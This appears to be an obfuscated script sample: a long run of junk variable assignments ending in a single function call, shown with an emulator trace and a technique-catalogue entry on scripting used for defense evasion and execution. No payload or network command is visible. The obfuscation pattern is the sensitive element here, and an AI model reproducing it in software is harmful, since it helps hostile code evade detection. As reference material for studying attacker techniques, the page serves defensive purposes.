260	esiykd = "p";
261	esiykd = "A";
262	esiykd = "h";
263	esiykd = "L";
264	esiykd = "a";
265	esiykd = "g";
266	esiykd = "z";
267	esiykd = "q";
268	esiykd = "J";
269	esiykd = "V";
270	esiykd = "K";
271	esiykd = "T";
272	nbuff = "S";
273	nbuff = "W";
274	nbuff = "y";
275	nbuff = "n";
276	nbuff = "W";
277	nbuff = "A";
278	nbuff = "E";
279	nbuff = "f";
280	nbuff = "G";
281	nbuff = "D";
282	nbuff = "w";
283	nbuff = "h";
284	nbuff = "b";
285	nbuff = "t";
286	nbuff = "w";
287	nbuff = "Y";
288	nbuff = "d";
289	nbuff = "L";
290	nbuff = "b";
291	nbuff = "m";
292	nbuff = "D";
293	nbuff = "U";
294	uqoyn = "c";
295	uqoyn = "L";
296	uqoyn = "L";
297	uqoyn = "z";
298	uqoyn = "i";
299	uqoyn = "y";
300	uqoyn = "F";
301	uqoyn = "u";
302	uqoyn = "b";
303	uqoyn = "O";
304	uqoyn = "X";
305	uqoyn = "m";
306	uqoyn = "N";
307	uqoyn = "p";
308	uqoyn = "o";
309	uqoyn = "s";
310	uqoyn = "A";
311	uqoyn = "z";
312	uqoyn = "D";
313	uqoyn = "o";
314	uqoyn = "U";
315	uqoyn = "F";
316	uqoyn = "p";
317	uqoyn = "G";
318	uqoyn = "W";
319	uqoyn = "E";
320	uqoyn = "t";
321	uqoyn = "s";
322	uqoyn = "b";
323	uqoyn = "r";
324	uqoyn = "g";
325	uqoyn = "g";
326	uqoyn = "q";
327	uqoyn = "T";
328	uqoyn = "U";
329	uqoyn = "g";
330	uqoyn = "R";
331	uqoyn = "o";
332	uqoyn = "R";
333	uqoyn = "Q";
334	uqoyn = "k";
335	uqoyn = "C";
336	pawocynxi = "Q";
337	pawocynxi = "o";
338	pawocynxi = "L";
339	pawocynxi = "m";
340	pawocynxi = "B";
341	pawocynxi = "v";
342	pawocynxi = "l";
343	pawocynxi = "s";
344	pawocynxi = "k";
345	pawocynxi = "A";
346	pawocynxi = "H";
347	pawocynxi = "X";
348	pawocynxi = "J";
349	pawocynxi = "x";
350	pawocynxi = "v";
351	pawocynxi = "F";
352	pawocynxi = "T";
353	pawocynxi = "g";
354	pawocynxi = "Y";
355	pawocynxi = "F";
356	pawocynxi = "s";
357	pawocynxi = "s";
358	pawocynxi = "Q";
359	iplwmk = "y";
360	iplwmk = "F";
361	iplwmk = "T";
362	iplwmk = "v";
363	iplwmk = "H";
364	iplwmk = "d";
365	iplwmk = "y";
366	iplwmk = "l";
367	iplwmk = "P";
368	iplwmk = "h";
369	iplwmk = "t";
370	iplwmk = "Y";
371	iplwmk = "o";
372	iplwmk = "Q";
373	iplwmk = "N";
374	iplwmk = "r";
375	iplwmk = "o";
376	iplwmk = "q";
377	iplwmk = "c";
378	iplwmk = "U";
379	iplwmk = "N";
380	iplwmk = "Y";
381	iplwmk = "P";
382	iplwmk = "F";
383	iplwmk = "n";
384	iplwmk = "k";
385	iplwmk = "M";
386	iplwmk = "R";
387	iplwmk = "j";
388	iplwmk = "X";
389	iplwmk = "b";
390	iplwmk = "y";
391	iplwmk = "M";
392	iplwmk = "P";
393	iplwmk = "M";
394	iplwmk = "a";
395	iplwmk = "2";
396	dylml = "D";
397	dylml = "z";
398	dylml = "c";
399	dylml = "S";
400	dylml = "h";
401	dylml = "l";
402	dylml = "a";
403	dylml = "i";
404	dylml = "K";
405	dylml = "R";
406	dylml = "o";
407	dylml = "E";
408	dylml = "c";
409	dylml = "r";
410	dylml = "Z";
411	dylml = "x";
412	dylml = "P";
413	dylml = "N";
414	dylml = "g";
415	dylml = "w";
416	dylml = "A";
417	dylml = "K";
418	dylml = "y";
419	dylml = "c";
420	dylml = "t";
421	dylml = "f";
422	dylml = "b";
423	dylml = "i";
424	dylml = "s";
425	dylml = "y";
426	dylml = "N";
427	dylml = "O";
428	dylml = "E";
429	dylml = "A";
430	dylml = "E";
431	dylml = "c";
432	dylml = "R";
433	dylml = "l";
434	vxmtt = "B";
435	vxmtt = "H";
436	vxmtt = "t";
437	vxmtt = "s";
438	vxmtt = "M";
439	vxmtt = "y";
440	vxmtt = "k";
441	vxmtt = "z";
442	vxmtt = "r";
443	vxmtt = "E";
444	ngntiy = "X";
445	ngntiy = "R";
446	ngntiy = "T";
447	ngntiy = "t";
448	ngntiy = "W";
449	ngntiy = "h";
450	ngntiy = "D";
451	ngntiy = "P";
452	ngntiy = "Z";
453	ngntiy = "V";
454	ngntiy = "X";
455	ngntiy = "d";
456	ngntiy = "y";
457	ngntiy = "X";
458	ngntiy = "F";
459	ngntiy = "y";
460	ngntiy = "F";
461	ngntiy = "W";
462	ngntiy = "C";
463	ngntiy = "t";
464	ngntiy = "w";
465	ngntiy = "G";
466	ngntiy = "r";
467	ngntiy = "J";
468	ngntiy = "u";
469	ngntiy = "k";
470	ngntiy = "K";
471	ngntiy = "w";
472	ngntiy = "p";
473	ngntiy = "N";
474	ngntiy = "j";
475	zvjtf = "O";
476	zvjtf = "c";
477	zvjtf = "s";
478	zvjtf = "v";
479	zvjtf = "p";
480	zvjtf = "E";
481	zvjtf = "N";
482	zvjtf = "j";
483	zvjtf = "V";
484	zvjtf = "K";
485	zvjtf = "k";
486	zvjtf = "Z";
487	zvjtf = "a";
488	zvjtf = "V";
489	zvjtf = "N";
490	zvjtf = "z";
491	zvjtf = "A";
492	zvjtf = "f";
493	zvjtf = "R";
494	zvjtf = "d";
495	zvjtf = "L";
496	zvjtf = "Z";
497	zvjtf = "K";
498	zvjtf = "U";
499	zvjtf = "R";
500	zvjtf = "p";
501	zvjtf = "s";
502	zvjtf = "p";
503	zvjtf = "k";
504	zvjtf = "L";
505	zvjtf = "d";
506	zvjtf = "b";
507	zvjtf = "g";
508	zvjtf = "V";
509	zvjtf = "T";
510	zvjtf = "i";
511	zvjtf = "X";
512	zvjtf = "s";
513	zvjtf = "x";
514	zvjtf = "M";
515	zvjtf = "x";
516	zvjtf = "n";
517	zvjtf = "r";
518	eunjlhqni = "j";
519	eunjlhqni = "t";
520	eunjlhqni = "d";
521	eunjlhqni = "S";
522	eunjlhqni = "B";
523	eunjlhqni = "F";
524	eunjlhqni = "v";
525	eunjlhqni = "M";
526	eunjlhqni = "Z";
527	eunjlhqni = "v";
528	dlsig = "c";
529	dlsig = "r";
530	dlsig = "h";
531	dlsig = "W";
532	dlsig = "u";
533	dlsig = "J";
534	dlsig = "T";
535	dlsig = "L";
536	dlsig = "w";
537	uvrtzp = "o";
538	uvrtzp = "x";
539	uvrtzp = "q";
540	uvrtzp = "J";
541	uvrtzp = "s";
542	uvrtzp = "M";
543	uvrtzp = "A";
544	uvrtzp = "O";
545	uvrtzp = "z";
546	uvrtzp = "d";
547	uvrtzp = "C";
548	uvrtzp = "I";
549	uvrtzp = "x";
550	uvrtzp = "E";
551	uvrtzp = "U";
552	uvrtzp = "Q";
553	uvrtzp = "F";
554	uvrtzp = "w";
555	uvrtzp = "R";
556	uvrtzp = "N";
557	uvrtzp = "/";
558	fmxlwp = "J";
559	fmxlwp = "y";
560	fmxlwp = "n";
561	fmxlwp = "P";
562	fmxlwp = "Q";
563	fmxlwp = "M";
564	fmxlwp = "D";
565	fmxlwp = "m";
566	fmxlwp = "i";
567	fmxlwp = "K";
568	fmxlwp = "B";
569	fmxlwp = "I";
570	fmxlwp = "F";
571	fmxlwp = "c";
572	fmxlwp = "d";
573	fmxlwp = "L";
574	fmxlwp = "G";
575	fmxlwp = "L";
576	fmxlwp = "c";
577	fmxlwp = "k";
578	fmxlwp = "j";
579	fmxlwp = "m";
580	fmxlwp = "c";
581	fmxlwp = "x";
582	fmxlwp = "R";
583	fmxlwp = "K";
584	fmxlwp = "F";
585	fmxlwp = "7";
586	weorrijb = "d";
587	weorrijb = "t";
588	weorrijb = "M";
589	weorrijb = "p";
590	weorrijb = "t";
591	weorrijb = "d";
592	weorrijb = "d";
593	weorrijb = "H";
594	weorrijb = "m";
595	weorrijb = "L";
596	weorrijb = "J";
597	weorrijb = "k";
598	weorrijb = "y";
599	weorrijb = "X";
600	weorrijb = "j";
601	weorrijb = "y";
602	weorrijb = "V";
603	weorrijb = "b";
604	weorrijb = "T";
605	weorrijb = "h";
606	weorrijb = "a";
607	weorrijb = "X";
608	weorrijb = "B";
609	weorrijb = "t";
610	weorrijb = "s";
611	weorrijb = "E";
612	weorrijb = "I";
613	weorrijb = "C";
614	weorrijb = "t";
615	weorrijb = "R";
616	weorrijb = "H";
617	weorrijb = "f";
618	ntekhhigc = "b";
619	ntekhhigc = "k";
620	ntekhhigc = "L";
621	ntekhhigc = "x";
622	ntekhhigc = "L";
623	ntekhhigc = "r";
624	ntekhhigc = "B";
625	ntekhhigc = "z";
626	ntekhhigc = "Y";
627	ntekhhigc = "r";
628	ntekhhigc = "V";
629	ntekhhigc = "M";
630	ntekhhigc = "s";
631	ntekhhigc = "H";
632	ejqyfsu = "B";
633	ejqyfsu = "X";
634	ejqyfsu = "E";
635	ejqyfsu = "w";
636	ejqyfsu = "G";
637	ejqyfsu = "k";
638	ejqyfsu = "U";
639	ejqyfsu = "p";
640	ejqyfsu = "K";
641	ejqyfsu = "t";
642	ejqyfsu = "U";
643	ejqyfsu = "L";
644	ejqyfsu = "A";
645	ejqyfsu = "L";
646	bypuhwgk = "Q";
647	bypuhwgk = "I";
648	bypuhwgk = "m";
649	bypuhwgk = "h";
650	bypuhwgk = "k";
651	bypuhwgk = "c";
652	bypuhwgk = "E";
653	bypuhwgk = "G";
654	bypuhwgk = "K";
655	bypuhwgk = "l";
656	bypuhwgk = "U";
657	bypuhwgk = "T";
658	bypuhwgk = "H";
659	bypuhwgk = "U";
660	bypuhwgk = "l";
661	bypuhwgk = "H";
662	bypuhwgk = "v";
663	bypuhwgk = "J";
664	bypuhwgk = "d";
665	bypuhwgk = "w";
666	bypuhwgk = "Q";
667	bypuhwgk = "E";
668	bypuhwgk = "D";
669	bypuhwgk = "d";
670	bypuhwgk = "z";
671	bypuhwgk = "F";
672	bypuhwgk = "O";
673	bypuhwgk = "N";
674	bypuhwgk = "Q";
675	bypuhwgk = "Q";
676	bypuhwgk = "N";
677	bypuhwgk = "q";
678	bypuhwgk = "c";
679	bypuhwgk = "J";
680	bypuhwgk = "X";
681	bypuhwgk = "i";
682	itesdyozv = "C";
683	itesdyozv = "i";
684	itesdyozv = "G";
685	itesdyozv = "p";
686	itesdyozv = "Y";
687	itesdyozv = "m";
688	itesdyozv = "S";
689	itesdyozv = "l";
690	itesdyozv = "l";
691	itesdyozv = "Z";
692	itesdyozv = "q";
693	itesdyozv = "M";
694	itesdyozv = "z";
695	itesdyozv = "Y";
696	itesdyozv = "H";
697	itesdyozv = "D";
698	itesdyozv = "Y";
699	itesdyozv = "Z";
700	itesdyozv = "n";
701	itesdyozv = "F";
702	wpkqwcf = "K";
703	wpkqwcf = "E";
704	wpkqwcf = "n";
705	wpkqwcf = "x";
706	wpkqwcf = "v";
707	wpkqwcf = "E";
708	wpkqwcf = "t";
709	wpkqwcf = "U";
710	wpkqwcf = "d";
711	wpkqwcf = "N";
712	wpkqwcf = "y";
713	wpkqwcf = "t";
714	wpkqwcf = "M";
715	wpkqwcf = "n";
716	wpkqwcf = "M";
717	wpkqwcf = "N";
718	wpkqwcf = "Q";
719	wpkqwcf = "x";
720	wpkqwcf = "t";
721	wpkqwcf = "g";
722	wpkqwcf = "w";
723	wpkqwcf = "T";
724	wpkqwcf = "K";
725	wpkqwcf = "h";
726	wpkqwcf = "u";
727	wpkqwcf = "a";
728	wpkqwcf = "b";
729	wpkqwcf = "a";
730	wpkqwcf = "o";
731	wpkqwcf = "a";
732	wpkqwcf = "W";
733	wpkqwcf = "n";
734	qyaqncyd = "w";
735	qyaqncyd = "H";
736	qyaqncyd = "b";
737	qyaqncyd = "p";
738	qyaqncyd = "q";
739	qyaqncyd = "i";
740	qyaqncyd = "P";
741	qyaqncyd = "H";
742	qyaqncyd = "B";
743	qyaqncyd = "i";
744	qyaqncyd = "c";
745	qyaqncyd = "j";
746	qyaqncyd = "i";
747	qyaqncyd = "X";
748	qyaqncyd = "Q";
749	qyaqncyd = "x";
750	qyaqncyd = "o";
751	qyaqncyd = "n";
752	qyaqncyd = "L";
753	qyaqncyd = "i";
754	qyaqncyd = "L";
755	qyaqncyd = "o";
756	qyaqncyd = "p";
757	qyaqncyd = "k";
758	qyaqncyd = "n";
759	qyaqncyd = "A";
760	qyaqncyd = "O";
761	ncuaf = "X";
762	ncuaf = "b";
763	ncuaf = "a";
764	ncuaf = "I";
765	ncuaf = "L";
766	ncuaf = "g";
767	ncuaf = "t";
768	ncuaf = "G";
769	ncuaf = "H";
770	ncuaf = "i";
771	ncuaf = "l";
772	ncuaf = "s";
773	ewityp = "z";
774	ewityp = "b";
775	ewityp = "V";
776	ewityp = "r";
777	ewityp = "I";
778	brhmylz = "F";
779	brhmylz = "M";
780	brhmylz = "J";
781	brhmylz = "V";
782	brhmylz = "a";
783	brhmylz = "K";
784	ievtkvgg = "s";
785	ievtkvgg = "P";
786	ievtkvgg = "u";
787	ievtkvgg = "Q";
788	ievtkvgg = "I";
789	ievtkvgg = "Q";
790	ievtkvgg = "j";
791	ievtkvgg = "d";
792	ievtkvgg = "b";
793	ievtkvgg = "E";
794	ievtkvgg = "P";
795	ievtkvgg = "Q";
796	ievtkvgg = "W";
797	ievtkvgg = "o";
798	eppakhs = "a";
799	eppakhs = "r";
800	eppakhs = "t";
801	eppakhs = "I";
802	eppakhs = "v";
803	eppakhs = "I";
804	eppakhs = "E";
805	eppakhs = "x";
806	eppakhs = "k";
807	eppakhs = "Z";
808	eppakhs = "Q";
809	eppakhs = "R";
810	eppakhs = "m";
811	eppakhs = "f";
812	eppakhs = "P";
813	eppakhs = "Q";
814	eppakhs = "r";
815	eppakhs = "d";
816	eppakhs = "B";
817	eppakhs = "W";
818	eppakhs = "p";
819	gihgwivac = "P";
820	gihgwivac = "Q";
821	gihgwivac = "s";
822	gihgwivac = "C";
823	gihgwivac = "K";
824	gihgwivac = "w";
825	gihgwivac = "P";
826	gihgwivac = "Z";
827	gihgwivac = "W";
828	gihgwivac = "g";
829	gihgwivac = "L";
830	gihgwivac = "Y";
831	gihgwivac = "Y";
832	gihgwivac = "R";
833	gihgwivac = "F";
834	gihgwivac = "t";
835	gihgwivac = "S";
836	gihgwivac = "L";
837	gihgwivac = "r";
838	gihgwivac = "R";
839	gihgwivac = "J";
840	gihgwivac = "\"";
841	jfiwxjtig = "l";
842	jfiwxjtig = "Q";
843	jfiwxjtig = "l";
844	jfiwxjtig = "c";
845	jfiwxjtig = "d";
846	jfiwxjtig = "e";
847	jfiwxjtig = "Z";
848	jfiwxjtig = "y";
849	jfiwxjtig = "e";
850	jfiwxjtig = "F";
851	jfiwxjtig = "f";
852	jfiwxjtig = "c";
853	jfiwxjtig = "S";
854	jfiwxjtig = "C";
855	jfiwxjtig = "R";
856	jfiwxjtig = "y";
857	jfiwxjtig = "5";
858	udvph = "m";
859	udvph = "a";
860	udvph = "x";
861	udvph = "l";
862	udvph = "s";
863	udvph = "x";
864	avoialyts = " ";
865	ibjfe = "M";
866	ibjfe = "m";
867	ibjfe = "i";
868	ibjfe = "U";
869	ibjfe = "J";
870	ibjfe = "W";
871	ibjfe = "z";
872	ibjfe = "O";
873	ibjfe = "a";
874	ibjfe = "X";
875	ibjfe = "v";
876	ibjfe = "l";
877	ibjfe = "H";
878	ibjfe = "e";
879	ibjfe = "w";
880	ibjfe = "y";
881	ibjfe = "p";
882	ibjfe = "N";
883	ibjfe = "Y";
884	ibjfe = "b";
885	ibjfe = "L";
886	ibjfe = "R";
887	ibjfe = "c";
888	ibjfe = "W";
889	ibjfe = "r";
890	ibjfe = "m";
891	ibjfe = "f";
892	ibjfe = "h";
893	ibjfe = "h";
894	ibjfe = "I";
895	ibjfe = "I";
896	ibjfe = "w";
897	ibjfe = "K";
898	ibjfe = "r";
899	ibjfe = "y";
900	ibjfe = "D";
901	ibjfe = "x";
902	ibjfe = "G";
903	ibjfe = "l";
904	ibjfe = "Y";
905	ibjfe = "u";
906	ibjfe = "N";
907	ibjfe = "K";
908	ibjfe = "C";
909	ibjfe = "Y";
910	etfobramu = "W";
911	wqtiggw = "h";
912	wqtiggw = "U";
913	wqtiggw = "s";
914	wqtiggw = "B";
915	wqtiggw = "x";
916	wqtiggw = "k";
917	wqtiggw = "y";
918	wqtiggw = "z";
919	wqtiggw = "u";
920	wqtiggw = "H";
921	wqtiggw = "v";
922	wqtiggw = ":";
923	wlask = "f";
924	wlask = "A";
925	wlask = "R";
926	wlask = "P";
927	wlask = "u";
928	wlask = "U";
929	wlask = "Q";
930	wlask = "l";
931	wlask = "u";
932	wlask = "Q";
933	wlask = "b";
934	wlask = "h";
935	wlask = "W";
936	wlask = "J";
937	wlask = "e";
938	utgrqk = "i";
939	utgrqk = "z";
940	utgrqk = "I";
941	utgrqk = "X";
942	utgrqk = "R";
943	utgrqk = "m";
944	utgrqk = "t";
945	utgrqk = "b";
946	utgrqk = "c";
947	utgrqk = "t";
948	utgrqk = "B";
949	utgrqk = "W";
950	utgrqk = "K";
951	utgrqk = "G";
952	utgrqk = "m";
953	utgrqk = "w";
954	utgrqk = "d";
955	utgrqk = "E";
956	utgrqk = "u";
957	utgrqk = "r";
958	utgrqk = "w";
959	utgrqk = "W";
960	utgrqk = "L";
961	utgrqk = "B";
962	utgrqk = "t";
963	utgrqk = "v";
964	utgrqk = "C";
965	utgrqk = "j";
966	utgrqk = "z";
967	utgrqk = "R";
968	utgrqk = "v";
969	utgrqk = "3";
970	ogcuhf = "C";
971	ogcuhf = "g";
972	ogcuhf = "e";
973	ogcuhf = "X";
974	ogcuhf = "Q";
975	ogcuhf = "N";
976	ogcuhf = "x";
977	ogcuhf = "I";
978	ogcuhf = "J";
979	ogcuhf = "i";
980	ogcuhf = "A";
981	ogcuhf = "K";
982	ogcuhf = "n";
983	ogcuhf = "V";
984	ogcuhf = "x";
985	ogcuhf = "X";
986	ogcuhf = "P";
987	ogcuhf = "F";
988	ogcuhf = "F";
989	ogcuhf = "o";
990	ogcuhf = "B";
991	ogcuhf = "N";
992	ogcuhf = "g";
993	ogcuhf = "Y";
994	ogcuhf = "t";
995	llzed = "V";
996	llzed = "k";
997	llzed = "U";
998	llzed = "K";
999	llzed = "Y";
1000	llzed = "k";
1001	llzed = "a";
1002	llzed = "r";
1003	llzed = "S";
1004	llzed = "L";
1005	llzed = "K";
1006	llzed = "K";
1007	llzed = "o";
1008	llzed = "Y";
1009	llzed = "E";
1010	llzed = "G";
1011	llzed = "R";
1012	llzed = "u";
1013	llzed = "y";
1014	llzed = "I";
1015	llzed = "k";
1016	llzed = "E";
1017	llzed = "u";
1018	llzed = "i";
1019	llzed = "T";
1020	llzed = "D";
1021	llzed = "o";
1022	llzed = "z";
1023	llzed = "i";
1024	llzed = "u";
1025	llzed = "W";
1026	llzed = "b";
1027	llzed = "j";
1028	llzed = "f";
1029	llzed = "8";
1030	jpfyzh = "s";
1031	jpfyzh = "6";
1032	cceiauyw = "l";
1033	cceiauyw = "I";
1034	cceiauyw = "V";
1035	cceiauyw = "h";
1036	cceiauyw = "R";
1037	cceiauyw = "f";
1038	cceiauyw = "F";
1039	cceiauyw = "q";
1040	cceiauyw = "a";
1041	cceiauyw = "E";
1042	cceiauyw = "K";
1043	cceiauyw = "i";
1044	cceiauyw = "y";
1045	cceiauyw = "M";
1046	cceiauyw = "t";
1047	cceiauyw = "J";
1048	cceiauyw = "m";
1049	cceiauyw = "f";
1050	cceiauyw = "t";
1051	cceiauyw = "m";
1052	cceiauyw = "N";
1053	cceiauyw = "I";
1054	cceiauyw = "T";
1055	cceiauyw = "G";
1056	cceiauyw = "Q";
1057	cceiauyw = "N";
1058	cceiauyw = "S";
1059	vvksbns = "N";
1060	vvksbns = "M";
1061	vvksbns = "t";
1062	vvksbns = "W";
1063	vvksbns = "A";
1064	vvksbns = "v";
1065	vvksbns = "M";
1066	vvksbns = "j";
1067	vvksbns = "M";
1068	vvksbns = "M";
1069	vvksbns = "A";
1070	vvksbns = "l";
1071	vvksbns = "Z";
1072	vvksbns = "Q";
1073	vvksbns = "t";
1074	vvksbns = "p";
1075	vvksbns = "E";
1076	vvksbns = "d";
1077	vvksbns = "Y";
1078	vvksbns = "O";
1079	vvksbns = "k";
1080	vvksbns = "W";
1081	vvksbns = "Q";
1082	vvksbns = "U";
1083	vvksbns = "1";
1084	umsnqkzuz = "A";
1085	umsnqkzuz = "u";
1086	umsnqkzuz = "U";
1087	umsnqkzuz = "V";
1088	umsnqkzuz = "K";
1089	umsnqkzuz = "L";
1090	umsnqkzuz = "L";
1091	umsnqkzuz = "v";
1092	umsnqkzuz = "j";
1093	umsnqkzuz = "q";
1094	umsnqkzuz = "R";
1095	umsnqkzuz = "z";
1096	umsnqkzuz = "v";
1097	umsnqkzuz = "p";
1098	umsnqkzuz = "t";
1099	umsnqkzuz = "L";
1100	umsnqkzuz = "y";
1101	umsnqkzuz = "C";
1102	umsnqkzuz = "c";
1103	uenky = "F";
1104	uenky = "i";
1105	uenky = "t";
1106	uenky = "n";
1107	uenky = "O";
1108	uenky = "j";
1109	uenky = "U";
1110	uenky = "X";
1111	uenky = "b";
1112	uenky = "y";
1113	uenky = "g";
1114	uenky = "l";
1115	uenky = "N";
1116	uenky = "d";
1117	uenky = "e";
1118	uenky = "Q";
1119	uenky = "t";
1120	uenky = "W";
1121	uenky = "w";
1122	uenky = "H";
1123	uenky = "v";
1124	uenky = "f";
1125	uenky = "x";
1126	uenky = "X";
1127	uenky = "u";
1128	uenky = "h";
1129	uenky = "K";
1130	uenky = "A";
1131	uenky = "J";
1132	uenky = "T";
1133	uenky = "B";
1134	uenky = "W";
1135	uenky = "M";
1136	uenky = "Q";
1137	uenky = "B";
1138	uenky = "A";
1139	uenky = "w";
1140	uenky = "\\";
1141	wfqyel = "I";
1142	wfqyel = "r";
1143	wfqyel = "A";
1144	wfqyel = "U";
1145	wfqyel = "i";
1146	wfqyel = "z";
1147	wfqyel = "q";
1148	wfqyel = "L";
1149	wfqyel = "B";
1150	wfqyel = "o";
1151	wfqyel = "9";
1152	ictcorxd = "K";
1153	ictcorxd = "E";
1154	ictcorxd = "T";
1155	ictcorxd = "F";
1156	ictcorxd = "C";
1157	ictcorxd = "E";
1158	ictcorxd = "V";
1159	ictcorxd = "f";
1160	ictcorxd = "i";
1161	ictcorxd = "d";
1162	ictcorxd = "Z";
1163	ictcorxd = "w";
1164	ictcorxd = "a";
1165	ictcorxd = "I";
1166	ictcorxd = "G";
1167	ictcorxd = "R";
1168	ictcorxd = "Y";
1169	ictcorxd = "d";
1170	ictcorxd = "g";
1171	ictcorxd = "P";
1172	ictcorxd = "u";
1173	ictcorxd = "o";
1174	ictcorxd = "X";
1175	ictcorxd = "e";
1176	ictcorxd = "o";
1177	ictcorxd = "P";
1178	ictcorxd = "r";
1179	ictcorxd = "e";
1180	ictcorxd = "Y";
1181	ictcorxd = "x";
1182	ictcorxd = "n";
1183	ictcorxd = "A";
1184	ictcorxd = "M";
1185	ictcorxd = "O";
1186	ictcorxd = "i";
1187	ictcorxd = "d";
1188	utkltfqbi = "E";
1189	utkltfqbi = "v";
1190	utkltfqbi = "j";
1191	utkltfqbi = "h";
1192	utkltfqbi = "h";
1193	utkltfqbi = "%";
1194	caomjt = "y";
1195	caomjt = "T";
1196	caomjt = "L";
1197	caomjt = "r";
1198	caomjt = "D";
1199	caomjt = "K";
1200	caomjt = "Y";
1201	caomjt = "i";
1202	caomjt = "L";
1203	caomjt = "c";
1204	caomjt = "G";
1205	caomjt = "E";
1206	caomjt = "Y";
1207	caomjt = "d";
1208	caomjt = "U";
1209	caomjt = "@";
1210	lszen = "K";
1211	lszen = "z";
1212	lszen = "o";
1213	lszen = "w";
1214	lszen = "d";
1215	lszen = "q";
1216	lszen = "J";
1217	lszen = "i";
1218	lszen = "W";
1219	lszen = "L";
1220	lszen = "k";
1221	lszen = "i";
1222	lszen = "s";
1223	lszen = "Y";
1224	lszen = "k";
1225	lszen = "x";
1226	lszen = "K";
1227	lszen = "n";
1228	lszen = "H";
1229	lszen = "n";
1230	lszen = "j";
1231	lszen = "q";
1232	qzgsdyqfb = "O";
1233	qzgsdyqfb = "t";
1234	qzgsdyqfb = "r";
1235	qzgsdyqfb = "A";
1236	qzgsdyqfb = "C";
1237	qzgsdyqfb = "m";
1238	qzgsdyqfb = "S";
1239	qzgsdyqfb = "e";
1240	qzgsdyqfb = "v";
1241	qzgsdyqfb = "G";
1242	qzgsdyqfb = "F";
1243	qzgsdyqfb = "e";
1244	qzgsdyqfb = "I";
1245	qzgsdyqfb = "k";
1246	owihxwg = "f";
1247	owihxwg = "a";
1248	owihxwg = "r";
1249	owihxwg = "K";
1250	owihxwg = "S";
1251	owihxwg = "L";
1252	owihxwg = "C";
1253	owihxwg = "a";
1254	owihxwg = "e";
1255	owihxwg = "A";
1256	owihxwg = "t";
1257	owihxwg = "F";
1258	owihxwg = "I";
1259	owihxwg = "T";
1260	owihxwg = "Y";
1261	owihxwg = "x";
1262	owihxwg = "Z";
1263	owihxwg = "C";
1264	owihxwg = "i";
1265	owihxwg = "P";
1266	owihxwg = "g";
1267	owihxwg = "u";
1268	owihxwg = "O";
1269	owihxwg = "u";
1270	owihxwg = "y";
1271	owihxwg = "a";
1272	owihxwg = "r";
1273	owihxwg = "i";
1274	owihxwg = "Y";
1275	owihxwg = "D";
1276	owihxwg = "m";
1277	owihxwg = "O";
1278	owihxwg = "v";
1279	owihxwg = "-";
1280	axchced = "n";
1281	axchced = "J";
1282	axchced = "X";
1283	axchced = "b";
1284	axchced = "f";
1285	axchced = "x";
1286	axchced = "Y";
1287	axchced = "A";
1288	axchced = "B";
1289	axchced = "i";
1290	axchced = "s";
1291	axchced = "i";
1292	axchced = "h";
1293	axchced = "o";
1294	axchced = "c";
1295	axchced = "B";
1296	axchced = "&";
1297	aolmb = "e";
1298	aolmb = "z";
1299	aolmb = "G";
1300	aolmb = "d";
1301	aolmb = "b";
1302	aolmb = "v";
1303	aolmb = "O";
1304	aolmb = "r";
1305	aolmb = "g";
1306	aolmb = "Z";
1307	aolmb = "r";
1308	aolmb = "J";
1309	aolmb = "t";
1310	aolmb = "Z";
1311	aolmb = "R";
1312	aolmb = "q";
1313	aolmb = "v";
1314	aolmb = "D";
1315	aolmb = "f";
1316	aolmb = "Z";
1317	aolmb = "D";
1318	aolmb = "r";
1319	aolmb = "r";
1320	aolmb = "J";
1321	aolmb = "R";
1322	gpdrvjf = "Y";
1323	gpdrvjf = "E";
1324	gpdrvjf = "z";
1325	gpdrvjf = "f";
1326	gpdrvjf = "o";
1327	gpdrvjf = "M";
1328	gpdrvjf = "d";
1329	gpdrvjf = "F";
1330	gpdrvjf = "d";
1331	gpdrvjf = "h";
1332	gpdrvjf = "G";
1333	gpdrvjf = "A";
1334	gpdrvjf = "O";
1335	gpdrvjf = "R";
1336	gpdrvjf = "O";
1337	gpdrvjf = "N";
1338	gpdrvjf = "d";
1339	gpdrvjf = "G";
1340	gpdrvjf = "a";
1341	gpdrvjf = "A";
1342	gpdrvjf = "E";
1343	gpdrvjf = "B";
1344	gpdrvjf = "C";
1345	gpdrvjf = "r";
1346	gpdrvjf = "R";
1347	gpdrvjf = "l";
1348	gpdrvjf = "f";
1349	gpdrvjf = "n";
1350	gpdrvjf = "h";
1351	gpdrvjf = "x";
1352	gpdrvjf = "j";
1353	gpdrvjf = "_";
1354	favbwzqz = "L";
1355	favbwzqz = "R";
1356	favbwzqz = "S";
1357	favbwzqz = "U";
1358	favbwzqz = "W";
1359	favbwzqz = "r";
1360	favbwzqz = "k";
1361	favbwzqz = "e";
1362	favbwzqz = "a";
1363	favbwzqz = "h";
1364	favbwzqz = "D";
1365	favbwzqz = "o";
1366	favbwzqz = "I";
1367	favbwzqz = "X";
1368	favbwzqz = "y";
1369	favbwzqz = "O";
1370	favbwzqz = "x";
1371	favbwzqz = "h";
1372	favbwzqz = "L";
1373	favbwzqz = "L";
1374	favbwzqz = "e";
1375	favbwzqz = "T";
1376	favbwzqz = "Z";
1377	favbwzqz = "k";
1378	favbwzqz = "m";
1379	lbjzgv = "A";
1380	lbjzgv = "m";
1381	lbjzgv = "Q";
1382	lbjzgv = "F";
1383	lbjzgv = "r";
1384	lbjzgv = "y";
1385	lbjzgv = "U";
1386	lbjzgv = "F";
1387	lbjzgv = "e";
1388	lbjzgv = "d";
1389	lbjzgv = "I";
1390	lbjzgv = "N";
1391	lbjzgv = "J";
1392	lbjzgv = "L";
1393	lbjzgv = "j";
1394	lbjzgv = "D";
1395	lbjzgv = "v";
1396	lbjzgv = "S";
1397	lbjzgv = "u";
1398	lbjzgv = "n";
1399	lbjzgv = "o";
1400	lbjzgv = "h";
1401	lbjzgv = "i";
1402	lbjzgv = "j";
1403	lbjzgv = "X";
1404	lbjzgv = "p";
1405	lbjzgv = "P";
1406	prlicq = "T";
1407	prlicq = "X";
1408	prlicq = "a";
1409	prlicq = "C";
1410	prlicq = "H";
1411	prlicq = "V";
1412	prlicq = "B";
1413	prlicq = "S";
1414	prlicq = "t";
1415	prlicq = "h";
1416	prlicq = "Z";
1417	prlicq = "p";
1418	prlicq = "H";
1419	prlicq = "Q";
1420	prlicq = "W";
1421	prlicq = "c";
1422	prlicq = "V";
1423	prlicq = "Q";
1424	prlicq = "N";
1425	prlicq = "m";
1426	prlicq = "v";
1427	prlicq = "y";
1428	prlicq = "0";
1429	omsmtq ( );	omsmtq() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
